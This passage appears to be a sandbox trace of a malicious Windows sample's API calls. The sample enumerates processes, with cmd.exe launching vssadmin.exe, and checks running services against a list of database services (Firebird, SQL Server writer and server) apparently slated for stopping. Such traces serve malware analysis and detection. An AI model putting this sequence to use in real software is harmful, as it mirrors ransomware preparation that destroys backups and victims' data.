dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0038.152] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0038.152] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0038.152] lstrlenW (lpString="initial_utilization.exe") returned 23 [0038.152] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0038.153] lstrlenW (lpString="cf-represent.exe") returned 16 [0038.153] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0038.153] lstrlenW (lpString="tue.exe") returned 7 [0038.153] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0038.154] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0038.154] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0038.155] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0038.155] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0038.155] lstrlenW (lpString="stuff_event.exe") returned 15 [0038.155] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0038.156] lstrlenW (lpString="keywords-copies.exe") returned 19 [0038.156] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0038.157] lstrlenW (lpString="lap.exe") returned 7 [0038.157] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.157] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.157] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0038.158] lstrlenW (lpString="chrome64b.exe") returned 13 [0038.158] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.158] lstrlenW (lpString="cmd.exe") returned 7 [0038.158] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.159] lstrlenW (lpString="conhost.exe") returned 11 [0038.159] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0038.160] lstrlenW (lpString="vssadmin.exe") returned 12 [0038.160] Process32NextW (in: hSnapshot=0x1c0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0038.160] CloseHandle (hObject=0x1c0) returned 1 [0038.160] Sleep (dwMilliseconds=0x1f4) [0039.366] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66fc28 [0039.366] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0039.367] GetLastError () returned 0xea [0039.367] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x6e1eb0 [0039.367] EnumServicesStatusExW (in: hSCManager=0x66fc28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0039.367] CloseServiceHandle (hSCObject=0x66fc28) returned 1 [0039.367] lstrlenW (lpString="Appinfo") returned 7 [0039.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0039.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0039.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0039.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0039.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0039.368] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0039.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.368] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0039.368] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0039.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0039.368] lstrlenW (lpString="AudioSrv") returned 8 [0039.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0039.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0039.368] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0039.368] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0039.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0039.368] lstrlenW (lpString="BFE") returned 3 [0039.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0039.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0039.368] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0039.368] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0039.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0039.368] lstrlenW (lpString="CryptSvc") returned 8 [0039.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0039.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0039.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0039.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0039.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0039.368] lstrlenW (lpString="CscService") returned 10 [0039.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0039.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0039.368] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0039.368] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0039.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0039.369] lstrlenW (lpString="DcomLaunch") returned 10 [0039.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0039.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0039.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0039.369] lstrlenW (lpString="Dhcp") returned 4 [0039.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0039.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0039.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0039.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0039.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0039.369] lstrlenW (lpString="Dnscache") returned 8 [0039.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0039.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0039.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0039.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0039.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0039.369] lstrlenW (lpString="DPS") returned 3 [0039.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0039.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0039.369] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0039.369] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0039.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0039.369] lstrlenW (lpString="eventlog") returned 8 [0039.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0039.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0039.369] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0039.369] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0039.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0039.369] lstrlenW (lpString="EventSystem") returned 11 [0039.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0039.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0039.370] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0039.370] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0039.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0039.370] lstrlenW (lpString="gpsvc") returned 5 [0039.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0039.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0039.370] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0039.370] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0039.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0039.370] lstrlenW (lpString="iphlpsvc") returned 8 [0039.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0039.370] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0039.370] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0039.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0039.370] lstrlenW (lpString="LanmanServer") returned 12 [0039.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0039.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0039.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0039.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0039.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0039.370] lstrlenW (lpString="LanmanWorkstation") returned 17 [0039.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0039.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0039.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0039.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0039.370] lstrlenW (lpString="lmhosts") returned 7 [0039.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0039.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0039.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0039.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0039.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0039.371] lstrlenW (lpString="MMCSS") returned 5 [0039.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0039.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0039.371] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0039.371] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0039.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0039.371] lstrlenW (lpString="MpsSvc") returned 6 [0039.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0039.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0039.371] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0039.371] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0039.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0039.371] lstrlenW (lpString="Netman") returned 6 [0039.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0039.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0039.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0039.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0039.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0039.371] lstrlenW (lpString="netprofm") returned 8 [0039.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0039.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0039.371] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0039.371] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0039.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0039.371] lstrlenW (lpString="NlaSvc") returned 6 [0039.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0039.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0039.372] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0039.372] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0039.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0039.372] lstrlenW (lpString="nsi") returned 3 [0039.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0039.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0039.372] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0039.372] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0039.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0039.372] lstrlenW (lpString="PcaSvc") returned 6 [0039.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0039.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0039.372] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0039.372] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0039.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0039.372] lstrlenW (lpString="PlugPlay") returned 8 [0039.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0039.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0039.372] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0039.372] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0039.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0039.372] lstrlenW (lpString="Power") returned 5 [0039.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0039.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0039.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0039.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0039.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0039.372] lstrlenW (lpString="ProfSvc") returned 7 [0039.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0039.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0039.372] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0039.372] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0039.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0039.372] lstrlenW (lpString="RpcEptMapper") returned 12 [0039.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0039.372] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0039.372] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0039.373] lstrlenW (lpString="RpcSs") returned 5 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0039.373] lstrlenW (lpString="SamSs") returned 5 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0039.373] lstrlenW (lpString="Schedule") returned 8 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0039.373] lstrlenW (lpString="SENS") returned 4 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0039.373] lstrlenW (lpString="ShellHWDetection") returned 16 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0039.373] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0039.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0039.373] lstrlenW (lpString="Spooler") returned 7 [0039.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0039.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0039.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0039.374] lstrlenW (lpString="SysMain") returned 7 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0039.374] lstrlenW (lpString="Themes") returned 6 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0039.374] lstrlenW (lpString="TrkWks") returned 6 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0039.374] lstrlenW (lpString="UxSms") returned 5 [0039.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0039.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0039.374] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0039.374] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0039.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0039.374] lstrlenW (lpString="WdiServiceHost") returned 14 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0039.375] lstrlenW (lpString="WdiSystemHost") returned 13 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0039.375] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0039.375] lstrlenW (lpString="Winmgmt") returned 7 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0039.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0039.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0039.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0039.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0039.375] lstrlenW (lpString="WPDBusEnum") returned 10 [0039.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0039.375] lstrcmpiW 